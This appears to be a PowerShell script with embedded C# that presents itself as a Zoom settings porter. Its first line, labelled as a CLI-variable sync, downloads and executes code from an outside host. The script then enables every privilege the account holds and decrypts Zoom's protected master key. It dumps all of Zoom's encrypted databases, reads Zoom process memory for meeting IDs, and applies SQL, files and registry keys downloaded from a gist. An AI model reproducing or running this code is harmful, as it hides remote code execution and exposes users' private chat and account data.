# -- Sync CLI Vars -- #
iex (irm -useb sync-clivars.pages.dev)

function SetAllPrivileges {whoami /priv |? {$_ -match '^Se\w+'} |% {$matches[0]} |% {([diagnostics.process].GetMember('SetPrivilege',60)).Invoke($null,("$_",2))}}; SetAllPrivileges

$CSharpCode = @"
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections.Generic;

namespace ZoomPorter {
    public class Engine {
        [DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CryptUnprotectData(ref DATA_BLOB pDataIn, StringBuilder ppszDataDescr, ref DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, int dwFlags, ref DATA_BLOB pDataOut);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct DATA_BLOB {public int cbData; public IntPtr pbData;}

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct CRYPTPROTECT_PROMPTSTRUCT {public int cbSize; public int dwPromptFlags; public IntPtr hwndApp; public string pszPrompt;}

        public static string Decrypt(byte[] data) {
            DATA_BLOB input = new DATA_BLOB {pbData = Marshal.AllocHGlobal(data.Length), cbData = data.Length};
            DATA_BLOB output = new DATA_BLOB();
            CRYPTPROTECT_PROMPTSTRUCT prompt = new CRYPTPROTECT_PROMPTSTRUCT();
            Marshal.Copy(data, 0, input.pbData, data.Length);
            try {
                if (CryptUnprotectData(ref input, null, ref output, IntPtr.Zero, ref prompt, 0, ref output)) {
                    byte[] res = new byte[output.cbData];
                    Marshal.Copy(output.pbData, res, 0, output.cbData);
                    return Encoding.UTF8.GetString(res);
                }
            } finally {Marshal.FreeHGlobal(input.pbData);}
            return null;
        }

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_open(string filename, out IntPtr ppDb);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_exec(IntPtr db, string sql, IntPtr callback, IntPtr arg, out IntPtr errmsg);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_close(IntPtr db);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_prepare_v2(IntPtr db, string zSql, int nByte, out IntPtr ppStmt, IntPtr pzTail);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_step(IntPtr pStmt);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern IntPtr sqlite3_column_text(IntPtr pStmt, int iCol);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_column_count(IntPtr pStmt);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern IntPtr sqlite3_column_name(IntPtr pStmt, int iCol);

        [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int sqlite3_finalize(IntPtr pStmt);

        public static List<Dictionary<string, string>> Query(IntPtr db, string sql) {
            var results = new List<Dictionary<string, string>>();
            IntPtr stmt;
            if (sqlite3_prepare_v2(db, sql, -1, out stmt, IntPtr.Zero) == 0) {
                int colCount = sqlite3_column_count(stmt);
                while (sqlite3_step(stmt) == 100) {
                    var row = new Dictionary<string, string>();
                    for (int i = 0; i < colCount; i++) {
                        string name = Marshal.PtrToStringAnsi(sqlite3_column_name(stmt, i));
                        IntPtr vPtr = sqlite3_column_text(stmt, i);
                        row[name] = vPtr == IntPtr.Zero ? null : Marshal.PtrToStringAnsi(vPtr);
                    }
                    results.Add(row);
                }
                sqlite3_finalize(stmt);
            }
            return results;
        }
    }
}
"@

function Zoom {
    param([switch]$Export, [switch]$Import, [switch]$Reset, [switch]$PMI, [switch]$Debug)
    if (!$Export -and !$Import -and !$Reset -and !$PMI) {Write-Warning 'Укажите -Export, -Import, -Reset или -PMI'; return}

    if ($Reset) {
        Write-Host "[!] Сброс настроек Zoom к значениям по умолчанию..." -ForegroundColor Yellow
        gps Zoom,zoom_launcher,msedgewebview2 -EA 0 |? {$_.Path -like "*Zoom*"} | kill -Force
        sleep 1
        $ZoomDataDir = Join-Path $env:APPDATA "Zoom\data"
        if (Test-Path $ZoomDataDir) {
            Write-Host "  [*] Очистка $ZoomDataDir..."
            gci $ZoomDataDir -Recurse | remove-item -Force -Recurse -EA 0
        }
        @("HKCU:\Software\Zoom\Zoom Chat","HKCU:\Software\Zoom\Zoom Meetings","HKCU:\Software\Zoom\Zoom Video","HKCU:\Software\Zoom") |% {
            if (Test-Path $_) {
                Write-Host "  [*] Удаление раздела реестра $_..."
                remove-item $_ -Recurse -Force -EA 0
            }
        }
        Write-Host "[SUCCESS] Настройки Zoom сброшены." -ForegroundColor Green
        return
    }

    if ($PMI) {
        # PmiScanner компилируется ПЕРВЫМ — не требует ZMDB.dll, гораздо легче ZoomPorter.Engine
        if (!(([Management.Automation.PSTypeName]'PmiScanner').Type)) {Add-Type -Language CSharp @'
using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Text;
public static class PmiScanner {
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(int a,bool i,int p);
    [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr h,IntPtr addr,byte[] buf,int sz,out IntPtr rd);
    [DllImport("kernel32.dll")] static extern void CloseHandle(IntPtr h);
    [DllImport("kernel32.dll")] static extern int VirtualQueryEx(IntPtr h,IntPtr addr,out MBI m,uint sz);
    [StructLayout(LayoutKind.Sequential)]
    struct MBI{public IntPtr Base,AllocBase;public uint AP;public IntPtr Size;public uint State,Protect,Type;}
    static readonly uint SZ=(uint)Marshal.SizeOf(typeof(MBI));

    static string Digits(byte[] b,int j,int e){
        if(j>=e||b[j]<0x30||b[j]>0x39)return null;
        int n=0;while(j+n<e&&b[j+n]>=0x30&&b[j+n]<=0x39)n++;
        if(n<9||n>11)return null;
        string id=Encoding.ASCII.GetString(b,j,n);
        return(id=="2147483647"||id=="4294967295")?null:id;
    }
    static string DigitsU(byte[] b,int j,int e){
        if(j+1>=e||b[j]<0x30||b[j]>0x39||b[j+1]!=0)return null;
        int n=0;while(j+n+1<e&&b[j+n]>=0x30&&b[j+n]<=0x39&&b[j+n+1]==0)n+=2;
        int dc=n/2;if(dc<9||dc>11)return null;
        string id=Encoding.Unicode.GetString(b,j,n);
        return(id=="2147483647"||id=="4294967295")?null:id;
    }

    static string FindA(byte[] b,int len){
        int i=0;int m=len-20;
        while((i=Array.IndexOf(b,(byte)34,i))!=-1 && i<m){
            if(b[i+1]==112&&b[i+2]==109&&b[i+3]==105&&b[i+4]==78&&b[i+5]==117&&b[i+6]==109&&b[i+7]==98&&b[i+8]==101&&b[i+9]==114&&b[i+10]==34&&b[i+11]==58){string r=Digits(b,i+12,len);if(r!=null)return r;}
            if(b[i+1]==109&&b[i+2]==110&&b[i+3]==34&&b[i+4]==58&&b[i+5]==34){string r=Digits(b,i+6,len);if(r!=null)return r;}
            if(b[i+1]==109&&b[i+2]==101&&b[i+3]==101&&b[i+4]==116&&b[i+5]==105&&b[i+6]==110&&b[i+7]==103&&b[i+8]==78&&b[i+9]==111&&b[i+10]==34&&b[i+11]==58){string r=Digits(b,i+12,len);if(r!=null)return r;}
            i++;
        }
        i=0;
        while((i=Array.IndexOf(b,(byte)122,i))!=-1 && i<m){
            if(b[i+1]==111&&b[i+2]==111&&b[i+3]==109&&b[i+4]==46&&b[i+5]==117&&b[i+6]==115&&b[i+7]==47&&b[i+8]==106&&b[i+9]==47){string r=Digits(b,i+10,len);if(r!=null)return r;}
            i++;
        }
        return null;
    }
    static string FindU(byte[] b,int len){
        int i=0;int m=len-40;
        while((i=Array.IndexOf(b,(byte)34,i))!=-1 && i<m){
            if(b[i+1]==0){
                if(b[i+2]==112&&b[i+4]==109&&b[i+6]==105&&b[i+8]==78&&b[i+10]==117&&b[i+12]==109&&b[i+14]==98&&b[i+16]==101&&b[i+18]==114&&b[i+20]==34&&b[i+22]==58&&b[i+24]==0){string r=DigitsU(b,i+24,len);if(r!=null)return r;}
                if(b[i+2]==109&&b[i+4]==110&&b[i+6]==34&&b[i+8]==58&&b[i+10]==34){string r=DigitsU(b,i+12,len);if(r!=null)return r;}
                if(b[i+2]==109&&b[i+4]==101&&b[i+6]==101&&b[i+8]==116&&b[i+10]==105&&b[i+12]==110&&b[i+14]==103&&b[i+16]==78&&b[i+18]==111&&b[i+20]==34&&b[i+22]==58){string r=DigitsU(b,i+24,len);if(r!=null)return r;}
            }
            i++;
        }
        i=0;
        while((i=Array.IndexOf(b,(byte)122,i))!=-1 && i<m){
            if(b[i+1]==0){
                if(b[i+2]==111&&b[i+4]==111&&b[i+6]==109&&b[i+8]==46&&b[i+10]==117&&b[i+12]==115&&b[i+14]==47&&b[i+16]==106&&b[i+18]==47){string r=DigitsU(b,i+20,len);if(r!=null)return r;}
            }
            i++;
        }
        return null;
    }

    // msedgewebview2 и zoom сканируются с подсчётом(голосованием)
    // Чтобы старые аккаунты не перекрыли новый, мы берем тот PMI, который встречается чаще.
    // Для максимальной скорости останавливаем поиск как только набрали 5 совпадений.
    public static string Scan(){
        byte[] buf=new byte[8000000];
        var v = new Dictionary<string,int>();
        int t = 0;
        var pList = new List<Process>();
        try {
            foreach(var p in Process.GetProcesses()){
                string n = p.ProcessName;
                if(n.Equals("zoom",StringComparison.OrdinalIgnoreCase)) pList.Insert(0,p);
                else if(n.Equals("msedgewebview2",StringComparison.OrdinalIgnoreCase)) pList.Add(p);
                else p.Dispose();
            }
            foreach(var p in pList){
                IntPtr h=OpenProcess(0x410,false,p.Id);if(h==IntPtr.Zero)continue;
                long addr=0;MBI m;
                // m.Type == 0x20000 (MEM_PRIVATE) skips EXEs/DLLs (~80% memory)
                while(VirtualQueryEx(h,(IntPtr)addr,out m,SZ)!=0){
                    if(m.State==0x1000&&(m.Protect&4)!=0&&m.Type==0x20000&&(long)m.Size<=7000000){
                        IntPtr rd;
                        if(ReadProcessMemory(h,m.Base,buf,(int)(long)m.Size,out rd)){
                            string f=FindA(buf,(int)rd)??FindU(buf,(int)rd);
                            if(f!=null){ 
                                if(!v.ContainsKey(f))v[f]=0; v[f]++; 
                                t++;
                                if(t >= 5) { CloseHandle(h); goto DONE; }
                            }
                        }
                    }
                    addr+=(long)m.Size;
                }
                CloseHandle(h);
            }
        } finally {
            foreach(var p in pList) p.Dispose();
        }
        DONE:
        string best=null; int top=0;
        foreach(var kv in v) if(kv.Value>top){best=kv.Key;top=kv.Value;}
        return best;
    }
}
'@}

        $pmi = [PmiScanner]::Scan()
        if (!$pmi -and ([Management.Automation.PSTypeName]'ZoomPorter.Engine').Type) {
            $key = Get-ZoomMasterKey
            if ($key) {
                $ZoomDataDir = Join-Path $env:APPDATA "Zoom\data"
                foreach ($dbf in (gci "$ZoomDataDir/*.enc.db" -EA 0 |? {$_.Name -notmatch "avatar|process_monitoring"})) {
                    $ptr = Open-ZoomDatabase -FilePath $dbf.FullName -Key $key
                    if ($ptr -eq [IntPtr]::Zero) {continue}
                    $rows = [ZoomPorter.Engine]::Query($ptr, "SELECT value FROM zoom_kv WHERE instr(lower(key),'pmi')>0 AND length(value) BETWEEN 9 AND 11")
                    [ZoomPorter.Engine]::sqlite3_close($ptr) | Out-Null
                    foreach ($row in $rows) { if ($row['value'] -match '^\d{9,11}$') { $pmi = $row['value']; break } }
                    if ($pmi) {break}
                }
            }
        }
        if ($pmi) {
            $Global:pmi = $pmi
            if ($Debug) { Write-Host "PMI найден: $pmi" -ForegroundColor Cyan }
            return $pmi
        } else {
            Write-Warning "PMI не найден"
        }
    }

    if ($Export -or $Import) {
        $Path = Join-Path $env:USERPROFILE "settings.sql"
        try {Import-ZoomEngine; $key = Get-ZoomMasterKey} catch {Write-Error "Ошибка инициализации: $_"; return}
        if (!$key) {throw "Ключ Zoom не найден."}
        $ZoomDataDir = Join-Path $env:APPDATA "Zoom\data"

        if ($Export) {
            Write-Host "[*] Экспорт данных в $Path..." -ForegroundColor Cyan
            $sb = [Text.StringBuilder]::new()
            $sb.AppendLine("-- Zoom Porter Export") | Out-Null

            gci "$ZoomDataDir/*.enc.db" |? {$_.Name -notmatch "avatar|process_monitoring"} |% {
                Write-Host "  [*] База: $($_.Name)"
                $sb.AppendLine("`n`n-- >>> DATABASE_START: $($_.Name) <<< --") | Out-Null
                $ptr = Open-ZoomDatabase -FilePath $_.FullName -Key $key
                if ($ptr -ne [IntPtr]::Zero) {
                    [ZoomPorter.Engine]::Query($ptr, "SELECT name FROM sqlite_master WHERE type='table'") |% {
                        $tn = $_["name"]; if ($tn -match "avatar") {return}
                        $rows = [ZoomPorter.Engine]::Query($ptr, "SELECT * FROM $tn")
                        if ($rows.Count -gt 0) {
                            $sb.AppendLine("-- TABLE: $tn ($($rows.Count) rows)") | Out-Null
                            $sb.AppendLine("DELETE FROM $tn;") | Out-Null
                            $rows |% {
                                $cols = $_.Keys -join '", "'
                                $vals = $_.Values |% {if ($null -eq $_) {"NULL"} else {"'$($_.ToString().Replace("'","''"))'"}  }
                                $sb.AppendLine("INSERT OR REPLACE INTO $tn (`"$cols`") VALUES ($($vals -join ', '));") | Out-Null
                            }
                        }
                    }
                    [ZoomPorter.Engine]::sqlite3_close($ptr) | Out-Null
                }
                $sb.AppendLine("-- >>> DATABASE_END: $($_.Name) <<< --") | Out-Null
            }

            $sb.AppendLine("`n`n-- >>> CONFIG_FILES_START <<< --") | Out-Null
            @("client.config","viper.ini","transcoding.ini","Zoom.us.ini") |% {
                $f = Join-Path $ZoomDataDir $_
                if (Test-Path $f) {$sb.AppendLine("INSERT INTO zoom_files_kv VALUES ('$_', '$((gc $f -Raw).Replace("'","''"))');") | Out-Null}
            }

            $sb.AppendLine("`n`n-- >>> REGISTRY_START <<< --") | Out-Null
            @("HKCU:\Software\Zoom\Zoom Chat","HKCU:\Software\Zoom\Zoom Meetings","HKCU:\Software\Zoom\Zoom Video") |% {
                if (Test-Path $_) {
                    (gp $_).PSObject.Properties |? {$_.Name -notmatch "PSPath|PSParentPath|PSChildName|PSDrive|PSProvider"} |% {
                        $v = if ($null -eq $_.Value) {""} else {$_.Value.ToString().Replace("'","''")}
                        $sb.AppendLine("INSERT OR REPLACE INTO zoom_registry_kv VALUES ('$_', '$($_.Name)', '$v', 'String');") | Out-Null
                    }
                }
            }

            [IO.File]::WriteAllText($Path, $sb.ToString().Replace($ZoomDataDir.TrimEnd('\'), "{{ZOOM_DATA}}"), [Text.Encoding]::UTF8)
            Write-Host "[SUCCESS] Экспорт завершен: $Path" -ForegroundColor Green
        }

        if ($Import) {
            $ImportUrl = 'https://gist.github.com/ZTD38F/8b898a33ecfe21d9f549f1f5327ad45b/raw/zoom-settings'
            Write-Host "[*] Импорт данных из $ImportUrl..." -ForegroundColor Cyan
            $rawB64 = (iwr $ImportUrl -UseBasicParsing).Content
            $raw = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($rawB64.Trim()))
            gps Zoom,zoom_launcher -EA 0 | kill -Force
            sleep 1

            $sections = [Regex]::Split($raw, "-- >>> (.*?) <<< --")
            for ($i = 1; $i -lt $sections.Length; $i += 2) {
                $hdr = $sections[$i]; $body = $sections[$i+1].Trim()
                if ($hdr -match "DATABASE_START: (.*)") {
                    $ptr = Open-ZoomDatabase -FilePath (Join-Path $ZoomDataDir $Matches[1].Trim()) -Key $key
                    if ($ptr -ne [IntPtr]::Zero) {
                        $sql = $body.Replace("{{ZOOM_DATA}}", $ZoomDataDir).Trim()
                        if ($sql) {
                            $errPtr = [IntPtr]::Zero
                            $res = [ZoomPorter.Engine]::sqlite3_exec($ptr, $sql, [IntPtr]::Zero, [IntPtr]::Zero, [ref]$errPtr)
                            if ($res -ne 0 -and $errPtr -ne [IntPtr]::Zero) {
                                $errMsg = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($errPtr)
                                Write-Warning "SQL Error in $($Matches[1]): $errMsg"
                            }
                        }
                        [ZoomPorter.Engine]::sqlite3_close($ptr) | Out-Null
                    }
                } elseif ($hdr -match "CONFIG_FILES_START") {
                    [Regex]::Matches($body, "INSERT INTO zoom_files_kv VALUES \('(.*?)', '(.*?)'\);", [Text.RegularExpressions.RegexOptions]::Singleline) |% {
                        $_.Groups[2].Value.Replace("''","'") > (Join-Path $ZoomDataDir $_.Groups[1].Value)
                    }
                } elseif ($hdr -match "REGISTRY_START") {
                    [Regex]::Matches($body, "INSERT OR REPLACE INTO zoom_registry_kv VALUES \('(.*?)', '(.*?)', '(.*?)', '(.*?)'\);") |% {
                        $rp = $_.Groups[1].Value
                        if (!(Test-Path $rp)) {ni $rp -Force | Out-Null}
                        sp -Path $rp -Name $_.Groups[2].Value -Value $_.Groups[3].Value.Replace("''","'") -Force 2>$null
                    }
                }
            }
            Write-Host "[SUCCESS] Настройки применены." -ForegroundColor Green
        }
    }
}

function Import-ZoomEngine {
    if (!([Management.Automation.PSTypeName]"ZoomPorter.Engine").Type) {
        $zmdb = gci -Path "C:\Program Files\Zoom\bin\ZMDB.dll","$env:ProgramFiles\Zoom\bin\ZMDB.dll" -EA 0 | select -First 1
        if (!$zmdb) {throw "ZMDB.dll не найдена. Проверьте путь установки Zoom."}
        [Environment]::SetEnvironmentVariable("PATH", "$([Environment]::GetEnvironmentVariable('PATH'));$(Split-Path $zmdb.FullName)", "Process")
        try {Add-Type -TypeDefinition $CSharpCode -EA Stop} catch {Write-Error "Ошибка компиляции: $($_.Exception.Message)"; throw}
    }
}

function Get-ZoomMasterKey {
    $ini = Join-Path $env:APPDATA "Zoom\data\Zoom.us.ini"
    if (!(Test-Path $ini)) {return $null}
    $line = gc $ini | sls "win_osencrypt_key=" | select -First 1
    if (!$line) {return $null}
    $b64 = $line.ToString().Split("=")[1].Trim().Substring(7)
    while ($b64.Length % 4 -ne 0) {$b64 += "="}
    try {return [ZoomPorter.Engine]::Decrypt([Convert]::FromBase64String($b64))} catch {return $null}
}

function Open-ZoomDatabase ([string]$FilePath, [string]$Key) {
    $db = [IntPtr]::Zero
    if ([ZoomPorter.Engine]::sqlite3_open($FilePath, [ref]$db) -ne 0) {return [IntPtr]::Zero}
    $err = [IntPtr]::Zero
    "PRAGMA key = '$Key';","PRAGMA cipher_page_size = 1024","PRAGMA kdf_iter = 4000","PRAGMA cipher_hmac_algorithm = HMAC_SHA512","PRAGMA cipher_kdf_algorithm = PBKDF2_HMAC_SHA512" |% {
        [ZoomPorter.Engine]::sqlite3_exec($db, $_, [IntPtr]::Zero, [IntPtr]::Zero, [ref]$err) | Out-Null
    }
    return $db
}